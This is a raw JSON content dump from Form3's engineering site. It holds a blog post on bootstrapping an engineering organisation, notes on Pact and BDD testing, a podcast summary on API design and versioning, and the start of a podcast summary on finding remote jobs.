testing",[],{"type":25,"text":41484,"spans":41485},"In general, we don't have many unit tests of our codebases, as we have found low level unit tests (for example ones around a single function) are too tied to the implementation details of the code. Re-implementing services then requires refactoring the tests (sometimes even deleting them!), which can be cumbersome, time consuming and also means it is hard to be confident in the new implementation when you have to change the test too. This allows us to swap underlying services and dependencies without having to rewrite a whole bunch of unit tests.",[],{"type":25,"text":41487,"spans":41488},"For us at Form3, end to end tests using Pact for contract testing hits the sweet spot between speed of delivery and test coverage.",[],{"type":25,"text":41490,"spans":41491},"Because they are in charge of the full development lifecycle, our engineers have more ownership of our services, which has proven a very successful approach for us. In the 5 years that we've been running our platform, we've not had major incidents caused by defects in production.",[],"rich_text$3b9ba0e6-4b3b-47da-a550-f57ce5929cba",{"variation":437,"version":438,"items":41494,"primary":41495,"id":41506,"slice_type":468,"slice_label":5},[],{"body":41496},[41497,41500,41503],{"type":746,"text":41498,"spans":41499},"Avoiding brittle tests",[],{"type":25,"text":41501,"spans":41502},"Writing the majority of our tests as end-to-end tests can be more complex, especially as our architecture involves asynchronous processing. Brittle or flaky tests are frustrating for engineers.",[],{"type":25,"text":41504,"spans":41505},"Fixing timing issues with sleeps and waits or depending on log messages to synchronise your tests are common traps. These quick fixes should be avoided.",[],"rich_text$9913b857-2b8b-460c-b6e2-794dc8649e42",{"variation":437,"version":438,"items":41508,"primary":41509,"id":41526,"slice_type":468,"slice_label":5},[],{"body":41510},[41511,41514,41520],{"type":746,"text":41512,"spans":41513},"Using Pact",[],{"type":25,"text":41515,"spans":41516},"Pact is an implementation of consumer contract testing. During test suite definition, we specify the interaction between the consumer and the service. The test suite will specify the URL, parameter and expected responses. These are put in a contract that specifies all of these things together.",[41517],{"start":398,"end":4603,"type":489,"data":41518},{"link_type":491,"url":41519},"https:\u002F\u002Fdocs.pact.io\u002F5-minute-getting-started-guide",{"type":25,"text":41521,"spans":41522},"Pact then provides a mock server that verifies requests and responses together. The test runner is able to ensure that the server behaviour is as expected both on the consumer and server side. This allows us to test both sides of this contract.",[41523],{"start":11705,"end":9216,"type":489,"data":41524},{"link_type":491,"url":41525},"https:\u002F\u002Fdocs.pact.io\u002Fgetting_started\u002Fverifying_pacts","rich_text$86ee459d-94bb-4c3f-9fb6-a6f3d2fc8560",{"variation":437,"version":438,"items":41528,"primary":41529,"id":41543,"slice_type":468,"slice_label":5},[],{"body":41530},[41531,41534,41540],{"type":746,"text":41532,"spans":41533},"BDD style tests",[],{"type":25,"text":41535,"spans":41536},"Even though our services are written in Go, we write all of our tests in BDD style, as opposed to table testing.",[41537],{"start":3089,"end":1406,"type":489,"data":41538},{"link_type":491,"url":41539},"https:\u002F\u002Fdocs.pact.io\u002Fconsumer#watch-a-video-writing-good-consumer-tests",{"type":25,"text":41541,"spans":41542},"The choice to write our tests in BDD gives us higher test readability, which is important for our engineers as maintainers.",[],"rich_text$1d35839b-2131-4fdf-9a52-ffd018d56c36",{"id":41545,"uid":41546,"type":25949,"data":41547},"alz0yREAACoAUWaF","blog-bootstrapping-engineering-org",{"title":41548,"excerpt":41549,"card_image":41550,"published_date":4907,"reading_time":4603,"tag":25960,"dek":41555,"featured_image":41556,"about_form3":41561,"client_about_heading":5,"client_about_body":41562,"author_name":26951,"author_title":26952,"author_photo":41563,"author_bio":41566,"author_linkedin":41571,"slices":41573,"meta_title":41548,"meta_description":41549},"Bootstrapping a successful engineering organisation","In this blog post, Andy Kuszyk identifies the main themes in the organisation bootstrapping process by reflecting on the elements of Form3's makeup which are so successful. There are lots of ways of thinking about this, and he groups different components of a functioning engineering organisation into three themes: Day One, Day Two and Considerations.",{"dimensions":41551,"alt":41548,"copyright":5,"url":41552,"id":41553,"edit":41554},{"width":412,"height":412},"\u002F_prismic-media\u002F3bb487e26b2c9e35-h2-EkmNxrsSqokg4_blog-bootstrapping-engineering-.png","h2-EkmNxrsSqokg4",{"x":398,"y":398,"zoom":399,"background":400},"For the past 4 years, I have been working for a very mature engineering organisation (Form3). Despite its relatively small size when I joined (around 35 engineers), it was very well established with lots of excellent practices in place. Over these last few years, the engineering team has grown significantly (to over 200 engineers) with little change to these working practices.I've been thinking about why there has been so little material change, and I think it's because the engineering organisation was very well bootstrapped in its infancy. The founding team did a great job of knowing what we would need as the organisation grew, and they got a lot of it right first time. There have obviously been improvements and enhancements along the way, but most of the underlying approaches haven't changed.In this blog post, I'm going to try to identify the main themes in this bootstrapping process by reflecting on the elements of Form3's makeup which are so successful. There are lots of ways of thinking about this, and grouping different components of a functioning engineering organisation. I have grouped what would otherwise be a long list of themes into three categories: Day One, Day Two, and Considerations. I will write subsequent blog posts about most of the Day One and Two themes to discuss them in detail, whereas the Considerations are briefly discussed towards the end of this post.Day One: themes that I think are most important in the early bootstrapping phase of an engineering organisation.Day Two: themes that I think need to be tackled as engineering organisation begins to grow.Considerations: themes that need to be addressed when starting and growing an engineering organisation, but which I think are issues that need to be addressed on a case-by-case basis.Overall, I hope this series of blog posts serves as a useful set of examples of how to successfully bootstrap an engineering organisation from the beginning.Disclaimer: this is based on my experience working in business-to-customer and business-to-business SAAS environments, where the product is web-based. Your mileage may vary!",{"dimensions":41557,"alt":5,"copyright":5,"url":41558,"id":41559,"edit":41560},{"width":501,"height":646},"\u002F_prismic-media\u002Fd9cf5a4d63322a73-zqVtE9CzW8MzmB0E_b4907da6-607a-4a3e-97db-018f95b.jpg","zqVtE9CzW8MzmB0E",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":41564,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":41565},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[41567],{"type":25,"text":26961,"spans":41568},[41569],{"start":19275,"end":18958,"type":489,"data":41570},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":41572,"url":26968,"target":493},"114cf169-5196-4cc4-9d2b-90df34556011",[41574,41728,41771,41814],{"variation":437,"version":438,"items":41575,"primary":41576,"id":41727,"slice_type":468,"slice_label":5},[],{"body":41577},[41578,41581,41583,41586,41588,41590,41598,41601,41604,41607,41610,41613,41616,41619,41622,41625,41633,41636,41639,41642,41645,41648,41651,41654,41658,41661,41664,41667,41670,41674,41677,41680,41683,41686,41689,41692,41695,41698,41701,41707,41710,41713,41716,41721,41724],{"type":746,"text":41579,"spans":41580},"Day One",[],{"type":988,"text":36263,"spans":41582},[],{"type":25,"text":41584,"spans":41585},"Secrets are required to build and deploy software. Normally when you start out, there are some simple, secure ways to inject secrets into your build and deployment pipelines. For example, with Travis you can use the CLI to commit an encrypted file to a repo, or add an encrypted environment variable. In GitHub actions, you can add a secret to a repo, which you can safely use later in your workflows.",[],{"type":25,"text":36306,"spans":41587},[],{"type":25,"text":36309,"spans":41589},[],{"type":25,"text":41591,"spans":41592},"Read more about my approach to secrets management in pipelines here!",[41593,41594],{"start":398,"end":9232,"type":765},{"start":629,"end":2397,"type":489,"data":41595},{"id":41596,"type":15847,"tags":41597,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"ZFJTaxIAACkAOXFJ",[],{"type":988,"text":41599,"spans":41600},"Distributed management, DevOps, and hiring",[],{"type":25,"text":41602,"spans":41603},"You might be wondering what management, DevOps, and hiring have in common at Form3 such that I have grouped them together! One of the philosophies underpinning the organisation's foundation was the distribution and delegation of responsibility to a largely self-organising team.",[],{"type":25,"text":41605,"spans":41606},"This means that, as we have grown, our large team has crystallised into multiple independent, and self organising units. Each unit is organised around a particular functional area, and has complete autonomy to run and improve this area.",[],{"type":25,"text":41608,"spans":41609},"The entire engineering organisation was begun as a DevOps team, with a single engineering population responsible for building, deploying, and supporting our platform. This has led to a culture of ownership and pride, and means that each team has everything it needs to operate autonomously.",[],{"type":25,"text":41611,"spans":41612},"This same approach can be seen in many other areas of the engineering organisation at Form3, but it is most notable in our hiring process. There is no hiring manager in charge of engineering hiring at Form3, nor is there a fixed panel of interviewers. Instead, every engineer who has been with the team for longer than 6 months is involved in the process. This means that most of our engineers are also interviewers, and are involved in recruitment activities. This might sound like a lot of non-engineering work for members of our team, however each of interviews is split into three 30 minute segments, each of which is conducted by a different engineer. In practice, an engineer can expect to do a couple of these per month, which means the burden of hiring is greatly reduced, and is distributed across our engineering team.",[],{"type":25,"text":41614,"spans":41615},"This hiring example just serves to demonstrate how the founding team decided to distribute and democratise a range of responsibilities across the entire engineering organisation as it grew. Rather than keeping control of these important activities in the hands of a select few, they have become part of the fabric of our engineering community, and not a bottleneck beholden to a small group of decision makers.",[],{"type":988,"text":41617,"spans":41618},"Decision making and design",[],{"type":25,"text":41620,"spans":41621},"With a small team, it's easy to quickly make decisions and act on them. Decisions can be made over a cup of coffee, and system architecture can be roughed out on a whiteboard. However, when more people join your team this doesn't scale well, and it isn't very inclusive. Furthermore, the further in the past that you made decisions, the more times people will ask, \"why do we do it that way?\".",[],{"type":25,"text":41623,"spans":41624},"Having a scalable process in place for distributed decision making and design is essential--especially in a remote setting--to making sure everyone is included in shaping the trajectory of your product. It also ensures that future generations of your team can look back on the fruits of your labour, and understand why things are the way they are.",[],{"type":25,"text":41626,"spans":41627},"Read more about my approach to decision making and design here!",[41628,41629],{"start":398,"end":629,"type":765},{"start":9203,"end":1029,"type":489,"data":41630},{"id":41631,"type":15847,"tags":41632,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"ZJmlyBEAAC4AeMca",[],{"type":988,"text":41634,"spans":41635},"Infrastructure as code",[],{"type":25,"text":41637,"spans":41638},"Although taken for granted now, infrastructure as code was in its infancy when Form3 was founded. Despite its novelty, codified infrastructure (using Terraform) is completely ubiquitous at Form3. Everything from our AWS infrastructure to the repos in our GitHub organisation are managed through Terraform. Anything you can imagine with an API is managed via Terraform (apart from perhaps Slack channels!).",[],{"type":25,"text":41640,"spans":41641},"Beyond the obvious benefits this brings, it means that access to a wide variety of systems is democratised. Everyone can inspect, understand, and contribute to our PagerDuty configuration, network infrastructure, Grafana dashboards, Logz alerts, etc. via a uniform tool chain.",[],{"type":25,"text":41643,"spans":41644},"This has scaled very well with the size of the team, and has maintained a culture that we all own everything equally.",[],{"type":988,"text":41646,"spans":41647},"Environment access",[],{"type":25,"text":41649,"spans":41650},"You'll probably start with a development environment. Then you might need a testing environment. Soon enough you'll have a production environment, and in no time at all you'll have a fleet of environments to manage. For each environment, your engineers will need a variety of different means of access. For example:",[],{"type":1151,"text":41652,"spans":41653},"SSH access to compute nodes.",[],{"type":1151,"text":41655,"spans":41656},"Control plane access (e.g. via kubectl) to Kubernetes.",[41657],{"start":690,"end":11705,"type":765},{"type":1151,"text":41659,"spans":41660},"Database access to your database servers.",[],{"type":1151,"text":41662,"spans":41663},"Command line or web console access to your cloud provider.",[],{"type":25,"text":41665,"spans":41666},"For some environments, you'll want engineers to have unrestricted access. In others, you'll want access to be tightly controlled, possibly with some kind of privilege escalation and auditing.",[],{"type":25,"text":41668,"spans":41669},"Access to your environments is a fundamental component to your engineering organisation, and getting this right at the beginning will allow your team to grow and build out a platform in a secure, safe way.",[],{"type":25,"text":41671,"spans":41672},"Blog post to follow!",[41673],{"start":398,"end":7460,"type":765},{"type":988,"text":41675,"spans":41676},"Documentation",[],{"type":25,"text":41678,"spans":41679},"When there are only two engineers in your team, it hardly seems necessary to maintain documentation. Often knowledge is \"tribal\", and is passed on by word of mouth. This scales well in the beginning, when you add a modest number of people to your organisation, but sooner or later it breaks down. At this point, if you never built a culture of written documentation, you have two problems:",[],{"type":3373,"text":41681,"spans":41682},"You have no documentation.",[],{"type":3373,"text":41684,"spans":41685},"No-one wants to (or is practised at) writing it.",[],{"type":25,"text":41687,"spans":41688},"Starting your organisation with a healthy attitude towards written documentation will pay dividends as your engineering team, and product, grows.",[],{"type":25,"text":41671,"spans":41690},[41691],{"start":398,"end":7460,"type":765},{"type":988,"text":41693,"spans":41694},"Testing",[],{"type":25,"text":41696,"spans":41697},"Something Form3 does very well, and has done well from the beginning, is automated testing of the software the team builds. This is thanks to a relatively simple formula consisting of:",[],{"type":1151,"text":41699,"spans":41700},"Mainly component-based integration tests.",[],{"type":1151,"text":41702,"spans":41703},"The use of real dependencies where possible, or external mocks where required (e.g. localstack).",[41704],{"start":5321,"end":6779,"type":489,"data":41705},{"link_type":491,"url":41706},"https:\u002F\u002Fgithub.com\u002Flocalstack\u002Flocalstack",{"type":1151,"text":41708,"spans":41709},"Continuous soak tests in pre-production environments.",[],{"type":1151,"text":41711,"spans":41712},"Few or no unit tests.",[],{"type":25,"text":41714,"spans":41715},"This last point can be a bit controversial, but it has led to a platform that is routinely delivered into production with very rare functional defects. Functional problems are almost always found during development, thanks to the very robust nature of full-stack integration tests. This technique is employed across Form3, to great effect.",[],{"type":25,"text":41717,"spans":41718},"Non-functional problems relating to concurrency or load, are generally picked up by the continuous soak tests we run using f1.",[41719],{"start":18520,"end":10343,"type":489,"data":41720},{"link_type":491,"url":28440},{"type":25,"text":41722,"spans":41723},"As a result, from day one, we've been able to build and deploy our platform with confidence, with little operational burden on the engineering team, and no manual testers.",[],{"type":25,"text":41671,"spans":41725},[41726],{"start":398,"end":7460,"type":765},"rich_text$9a3d5831-ab1c-416d-8a0f-eea03f792192",{"variation":437,"version":438,"items":41729,"primary":41730,"id":41770,"slice_type":468,"slice_label":5},[],{"body":41731},[41732,41735,41738,41743,41746,41749,41752,41755,41758,41761,41764,41767],{"type":746,"text":41733,"spans":41734},"Day Two",[],{"type":988,"text":41736,"spans":41737},"Secrets management in applications",[],{"type":25,"text":41739,"spans":41740},"Secrets are required to run your applications. You might start off by using your deployment pipeline to deliver secrets into a runtime environment (via environment variables), although that's obviously not very secure. You might use secret deployment tools like Sealed Secrets to conveniently manage secrets from source control. Both of these approaches, whilst simple, don't allow you to manage a fleet of secrets en-masse.",[41741],{"start":31089,"end":1802,"type":489,"data":41742},{"link_type":491,"url":37829},{"type":25,"text":41744,"spans":41745},"Pretty soon you will want to start rotating secrets, just like you'll need to in your CI pipelines, and eventually you might want to start using shorter-lived secrets to secure your environment. Building in something that can issue secrets to your applications at runtime, from the very beginning, will set your engineering organisation up for success in the future.",[],{"type":25,"text":41671,"spans":41747},[41748],{"start":398,"end":7460,"type":765},{"type":988,"text":41750,"spans":41751},"Incident response",[],{"type":25,"text":41753,"spans":41754},"Your software and platform will fail, and it will probably fail often! You want to be prepared for this from the beginning, so that everyone on the team understands how to respond to incidents, and has the tools and experience to do so.",[],{"type":25,"text":41756,"spans":41757},"Part of this is tooling, but a greater part is your organisation's attitude towards incident response, and how it is organised internally.",[],{"type":25,"text":41671,"spans":41759},[41760],{"start":398,"end":7460,"type":765},{"type":988,"text":41762,"spans":41763},"Observability",[],{"type":25,"text":41765,"spans":41766},"Building applications without an observability platform leaves your engineers blind to how their software is performing, and makes it almost impossible to manage your product in production. Establishing a means of observing your software from day 1 is essential.",[],{"type":25,"text":41671,"spans":41768},[41769],{"start":398,"end":7460,"type":765},"rich_text$554a9c23-bc94-429c-a9c4-62cd2f8d35a5",{"variation":437,"version":438,"items":41772,"primary":41773,"id":41813,"slice_type":468,"slice_label":5},[],{"body":41774},[41775,41778,41781,41784,41787,41790,41793,41796,41799,41802,41804,41807,41810],{"type":746,"text":41776,"spans":41777},"Considerations",[],{"type":988,"text":41779,"spans":41780},"Building and managing compute capacity",[],{"type":25,"text":41782,"spans":41783},"There are lots of ways to do this, and you'll probably have a preference. As long as you make a sensible choice for your organisation, I don't think you can get this wrong at the beginning. You can always change it later too.",[],{"type":988,"text":41785,"spans":41786},"Service communication and messaging",[],{"type":25,"text":41788,"spans":41789},"Again, this is probably dependent on your preferences and domain. I don't think the choice of these technologies is critical to your success.",[],{"type":988,"text":41791,"spans":41792},"Orchestrating containers",[],{"type":25,"text":41794,"spans":41795},"There are also lots of ways of doing this. It's probably harder to change this later if you do get it wrong in the beginning, but this a technology choice you can make based on the tools available on the market.",[],{"type":988,"text":41797,"spans":41798},"Security considerations",[],{"type":25,"text":41800,"spans":41801},"These will become very important! However, when you're starting a new engineering organisation I don't think you need to solve every problem all at once. If you can get secrets management and environment access right from the beginning, then I think you'll have solved some of the larger challenges, and you can fill in the blanks as your organisation grows.",[],{"type":988,"text":39652,"spans":41803},[],{"type":25,"text":41805,"spans":41806},"Choosing a set of programming languages to use is probably one of the more visible choices that need to be made when starting an engineering organisation. Form3 started with Java, and later moved to Go. I don't think a bad choice can really be made here, because it's always possible to move to a different language later. Ultimately, this choice is probably based on your preferences, your experiences, and the type of software you're planning to build.",[],{"type":988,"text":41808,"spans":41809},"Database engines",[],{"type":25,"text":41811,"spans":41812},"Whilst this is an important consideration, I think it's specific to your domain and preferences.",[],"rich_text$bbca13ff-beb2-4fdf-b0bf-373567206964",{"variation":437,"version":438,"items":41815,"primary":41816,"id":41850,"slice_type":468,"slice_label":5},[],{"body":41817},[41818,41820,41823,41826,41829,41832,41835,41838,41841,41844,41847],{"type":746,"text":4445,"spans":41819},[],{"type":25,"text":41821,"spans":41822},"Based on my observations and reflections of working for a successful engineering organisation, some of the biggest challenges to get right at the beginning are:",[],{"type":1151,"text":41824,"spans":41825},"Secrets management (in CI, and your environments).",[],{"type":1151,"text":41827,"spans":41828},"Environment access.",[],{"type":1151,"text":41830,"spans":41831},"Observability.",[],{"type":1151,"text":41833,"spans":41834},"Incident response.",[],{"type":1151,"text":41836,"spans":41837},"Decision making and design.",[],{"type":1151,"text":41839,"spans":41840},"Documentation.",[],{"type":1151,"text":41842,"spans":41843},"Testing.",[],{"type":25,"text":41845,"spans":41846},"In my future posts, I will address each of these themes in more detail to try to provide some practical examples of how you can achieve success.",[],{"type":25,"text":41848,"spans":41849},"I think these are the essential ingredients to bootstrapping a successful engineering organisation, and I see signs of these themes everywhere at Form3.",[],"rich_text$aa8fe7ad-3802-4359-9b05-1a614a4b4bb6",{"id":41852,"uid":41853,"type":25949,"data":41854},"alz1EREAACsAUWe0","podcast-evolving-apis",{"title":41855,"excerpt":41856,"card_image":41857,"published_date":41862,"reading_time":643,"tag":25960,"dek":41856,"featured_image":41863,"about_form3":41868,"client_about_heading":5,"client_about_body":41869,"author_name":18970,"author_title":18971,"author_photo":41870,"author_bio":41873,"author_linkedin":41876,"slices":41878,"meta_title":41855,"meta_description":41856},".tech Podcast - Designing and Evolving APIs","Arnaud Lauret aka. \"The API handyman\" is an OpenAPI Lead at Postman. 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The team educates engineers and organisations to take advantage of APIs. Arnaud shares his knowledge on his blog apihandyman.io and has also written the book \"The Design of Web APIs\".",[41906,41909,41912,41915],{"start":398,"end":1951,"type":489,"data":41907},{"link_type":491,"url":41908},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Farnaudlauret\u002F",{"start":1486,"end":2868,"type":489,"data":41910},{"link_type":491,"url":41911},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fpostman-platform\u002F",{"start":39830,"end":12823,"type":489,"data":41913},{"link_type":491,"url":41914},"https:\u002F\u002Fapihandyman.io\u002F",{"start":10496,"end":24944,"type":489,"data":41916},{"link_type":491,"url":41917},"https:\u002F\u002Fwww.manning.com\u002Fbooks\u002Fthe-design-of-web-apis","rich_text$b52813f1-43f0-4116-9756-e0240f772e04",{"variation":437,"version":438,"items":41920,"primary":41921,"id":41944,"slice_type":468,"slice_label":5},[],{"body":41922},[41923,41926,41938,41941],{"type":746,"text":41924,"spans":41925},"What is an API?",[],{"type":25,"text":41927,"spans":41928},"Historically, APIs have been thought as remote interfaces that allow software to communicate over a local network or the Internet. Now, they are interfaces that allow to provide a service that others don't want to build from scratch. If you build something really well, you can turn it into an API for others to leverage. For example, Stripe or Twilio allow to build payments or communication simply.",[41929,41934,41937],{"start":41930,"end":41931,"type":489,"data":41932},335,341,{"link_type":491,"url":41933},"https:\u002F\u002Fstripe.com\u002Fdocs\u002Fapi",{"start":31005,"end":17798,"type":489,"data":41935},{"link_type":491,"url":41936},"https:\u002F\u002Fgithub.com\u002Fform3tech\u002Ftech-evangelist-team\u002Fblob\u002Fmaster\u002Fblogposts\u002F15-06-2022-ep33-podcast\u002Fwww.twilio.com\u002Fdocs\u002Fusage\u002Fapi",{"start":1457,"end":40451,"type":765},{"type":25,"text":41939,"spans":41940},"In order to be easy to use, APIs should be consistent, so that users don't have to change their integration often. The consistency of an API allows users to guess how it will work, without having to read the documentation. Arnaud is in favour of consistency and should always be the first choice of API designers.",[],{"type":25,"text":41942,"spans":41943},"However, sometimes design patterns simply don't fit the problem. It can be a tricky tradeoff to choose between providing a suboptimal solution that fits your design and a better solution that surprises users. Arnaud prefers to introduce a new pattern to fit the usecase, as opposed to forcing a pattern that doesn't really fit.",[],"rich_text$d6d7aa5b-e0a1-464e-adc4-5123e4d838b5",{"variation":437,"version":438,"items":41946,"primary":41947,"id":41997,"slice_type":468,"slice_label":5},[],{"body":41948},[41949,41952,41955,41959,41962,41965,41969,41972,41975,41979,41982,41985,41988,41991],{"type":746,"text":41950,"spans":41951},"Evolving APIs",[],{"type":25,"text":41953,"spans":41954},"APIs can become difficult to change if some poor design decisions are made in the very beginning. You need to prepare your APIs to accept change gracefully. Here are some things you can do:",[],{"type":25,"text":41956,"spans":41957},"Choose extensible data types.",[41958],{"start":398,"end":871,"type":593},{"type":1151,"text":41960,"spans":41961},"Prefer strings over booleans to represent statuses. This will allow you to change your workflows and add new statuses as required.",[],{"type":1151,"text":41963,"spans":41964},"Encapsulate data in objects, wrapping lists, atomics or responses. This will allow you to add metadata alongside anything you return without the need to make breaking changes.",[],{"type":25,"text":41966,"spans":41967},"Create workflows with independent usable steps.",[41968],{"start":398,"end":9251,"type":593},{"type":1151,"text":41970,"spans":41971},"Workflows typically map the users workflows. If a changes comes from the users, then the API will have to change the mapped process as well.",[],{"type":1151,"text":41973,"spans":41974},"Building workflows in reusable steps will allow others to use the workflow as well.",[],{"type":25,"text":41976,"spans":41977},"Keep things as simple as possible.",[41978],{"start":398,"end":1131,"type":593},{"type":25,"text":41980,"spans":41981},"If you do need to make a breaking change, Arnaud recommends a middle step. For example, if you have a status as a boolean, then you can add a new string field and deprecate the old status. If you do this in the beginning, then you will begin to get a better idea of the domain that your API is representing. Perhaps your API won't be as beautiful as you wish, but it will still deliver functionality to your users.",[],{"type":25,"text":41983,"spans":41984},"Then, when you introduce new features\u002Ffunctionality in your API, you can clean up your interfaces and let your consumers know how to adjust to match the new version.",[],{"type":25,"text":41986,"spans":41987},"However, you will have to provide multiple versions of your API as users migrate to the new functionality. To do that, you have two options:",[],{"type":1151,"text":41989,"spans":41990},"Duplicate your infrastructure with multiple implementations running side by side. This is not recommended as multiple backend services will have to handle the versions.",[],{"type":1151,"text":41992,"spans":41993},"Have a single implementation that will be able to expose the multiple contracts of your API versions. Older requests can be mapped to the new version internally and other services only need to handle one request. The Stripe API uses this transformation strategy in production. ",[41994],{"start":41995,"end":2833,"type":489,"data":41996},217,{"link_type":491,"url":41933},"rich_text$7408eb95-8565-4d4b-a932-8598d3a71c8e",{"variation":437,"version":438,"items":41999,"primary":42000,"id":42014,"slice_type":468,"slice_label":5},[],{"body":42001},[42002,42005,42011],{"type":746,"text":42003,"spans":42004},"GraphQL",[],{"type":25,"text":42006,"spans":42007},"Arnaud has mixed feelings regarding GraphQL, which was developed by Facebook to make API design easier. However, it does not prevent introducing breaking changes, even though it allows easier testing.",[42008],{"start":3852,"end":5136,"type":489,"data":42009},{"link_type":491,"url":42010},"https:\u002F\u002Fgraphql.org\u002F",{"type":25,"text":42012,"spans":42013},"It solves some problems regarding performance, but you still have to design your APIs and models. You gain visibility on how your API is used, but you lose the ability to read the usage of it easily.",[],"rich_text$382029fc-4424-45b7-9ce2-b27ba756da55",{"variation":437,"version":438,"items":42016,"primary":42017,"id":42034,"slice_type":468,"slice_label":5},[],{"body":42018},[42019,42022,42028,42031],{"type":746,"text":42020,"spans":42021},"The OpenAPI specification",[],{"type":25,"text":42023,"spans":42024},"The OpenAPI specification is a machine readable, but human friendly format to describe REST web APIs taking advantage of the HTTP protocol.",[42025],{"start":4603,"end":1066,"type":489,"data":42026},{"link_type":491,"url":42027},"https:\u002F\u002Fspec.openapis.org\u002Foas\u002Fv3.1.0",{"type":25,"text":42029,"spans":42030},"The specification, formerly known as the Swagger specification, was originally used to document APIs. Then, it was used in a design first approach to describe your API once you know what you want it to do. You can then use the specification to generate documentation, code, clients, mocks and tests, as well as configure API gateways. It can also validate that your API is satisfying your organisation's requirements.",[],{"type":25,"text":42032,"spans":42033},"There are many uses of the specification and we are just scratching the top of it! Make sure you take advantage of the OpenAPI ecosystem if you are designing your APIs.",[],"rich_text$d35603e0-dc1d-4dc0-bccd-13f032d2d459",{"id":42036,"uid":42037,"type":25949,"data":42038},"alz01xEAACsAUWak","podcast-landing-remote-job",{"title":42039,"excerpt":42040,"card_image":42041,"published_date":1508,"reading_time":4603,"tag":25960,"dek":42040,"featured_image":42046,"about_form3":42051,"client_about_heading":5,"client_about_body":42052,"author_name":18970,"author_title":18971,"author_photo":42053,"author_bio":42056,"author_linkedin":42059,"slices":42061,"meta_title":42307,"meta_description":42040},"Landing your next remote job","Alexandra Forsberg is a Talent Acquisition Lead at Form3. She joins us to share tips for landing your next remote job. Alexandra covers all aspects of the interviewing process including where to find remote opportunities, how to stand out to hiring managers and how to prepare for a remote interview. Finally, she shares Form3's approach to the interview process.",{"dimensions":42042,"alt":42039,"copyright":5,"url":42043,"id":42044,"edit":42045},{"width":412,"height":412},"\u002F_prismic-media\u002F9db14f68d6ab8ef1-CWTuvmhVJulXh5-9_podcast-landing-remote-job.png","CWTuvmhVJulXh5-9",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":42047,"alt":5,"copyright":5,"url":42048,"id":42049,"edit":42050},{"width":501,"height":646},"\u002F_prismic-media\u002Fdaec448810db2a51-G7CvDdmfLwBoWqhP_3a01534e-924e-484d-bab8-62524b5.jpg","G7CvDdmfLwBoWqhP",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":42054,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":42055},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[42057],{"type":25,"text":25971,"spans":42058},[],{"link_type":491,"key":42060,"url":25975,"target":493},"92afba4c-1cfe-47f0-ae11-d9eacc63358c",[42062,42082,42098,42121,42162,42185,42217,42255,42278],{"variation":437,"version":527,"items":42063,"primary":42064,"id":42081,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":42065,"body":42069,"cta_label":10704,"cta_link":42072,"aside_type":5,"aside_image":42075,"aside_video":42076,"aside_video_poster":42077,"aside_video_reduced_motion":42078,"aside_video_url":5,"aside_embed":42079,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":42080,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[42066],{"type":746,"text":42067,"spans":42068},"Ep 40 .tech - Landing your next remote job",[],[42070],{"type":25,"text":10702,"spans":42071},[],{"link_type":491,"key":42073,"url":42074},"0f5e4d12-e0cf-4e17-8167-288fa72a4e33","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-40-tech-landing-your-next-remote-job-oEKI12dR",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$541724f5-8e32-4341-82f8-e71bf68fc7e8",{"variation":437,"version":438,"items":42083,"primary":42084,"id":42097,"slice_type":468,"slice_label":5},[],{"body":42085},[42086],{"type":25,"text":42087,"spans":42088},"Alexandra Forsberg is a Talent Acquisition Lead at Form3. Alexandra co-leads Form3's Engineering hiring across the UK, Europe, Argentina and Canada. She is currently leading a team of experienced Talent partners. Alexandra joined the business in 2018 and has had the privilege of growing Form3's Product, Engineering and Security departments. She has a background in agency recruitment, but is passionate about talent acquisition. She has shared her top interviewing tips in her article \"How to Land Your Dream Remote Software Engineer Job\".",[42089,42092,42094],{"start":398,"end":2769,"type":489,"data":42090},{"link_type":491,"url":42091},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Falexandraforsberg\u002F",{"start":1250,"end":4889,"type":489,"data":42093},{"link_type":491,"url":37422},{"start":12010,"end":6087,"type":489,"data":42095},{"link_type":491,"url":42096},"https:\u002F\u002Fwww.form3.tech\u002Fcareers\u002Fblog\u002Fdream-remote-software-engineer-job","rich_text$39d670eb-df8a-4f99-a8d1-ee9c0923db9e",{"variation":437,"version":438,"items":42099,"primary":42100,"id":42120,"slice_type":468,"slice_label":5},[],{"body":42101},[42102,42105,42108,42111,42114,42117],{"type":746,"text":42103,"spans":42104},"When is a good time to look for a job?",[],{"type":25,"text":42106,"spans":42107},"On average, engineers look for a new job every 2 or 3 years. Alexandra begins by discussing the timing of these job searches. The short answer is to look for a job whenever you're ready, but it can be difficult to predict across locations and industries. Alexandra recommends to always be prepared by:",[],{"type":1151,"text":42109,"spans":42110},"Updating your CV and LinkedIn profile.",[],{"type":1151,"text":42112,"spans":42113},"Practicing your interviewing skills.",[],{"type":1151,"text":42115,"spans":42116},"Keeping an eye on the job market.",[],{"type":25,"text":42118,"spans":42119},"A lot of companies do hire at the start of a new financial year or quarter, so that is something to keep in mind as well. In the UK, the financial year starts in April, but you should check when it runs in the locations you're interested in.",[],"rich_text$8631e4a7-8faa-4bd5-8385-f906f52b8249",{"variation":437,"version":438,"items":42122,"primary":42123,"id":42161,"slice_type":468,"slice_label":5},[],{"body":42124},[42125,42128,42131,42137,42143,42149,42155],{"type":746,"text":42126,"spans":42127},"Where can we find remote opportunities?",[],{"type":25,"text":42129,"spans":42130},"Alexandra recommends a few remote job boards to use in your search for a new role, which you can easily find using Google. The top boards she recommends are:",[],{"type":1151,"text":42132,"spans":42133},"We Work 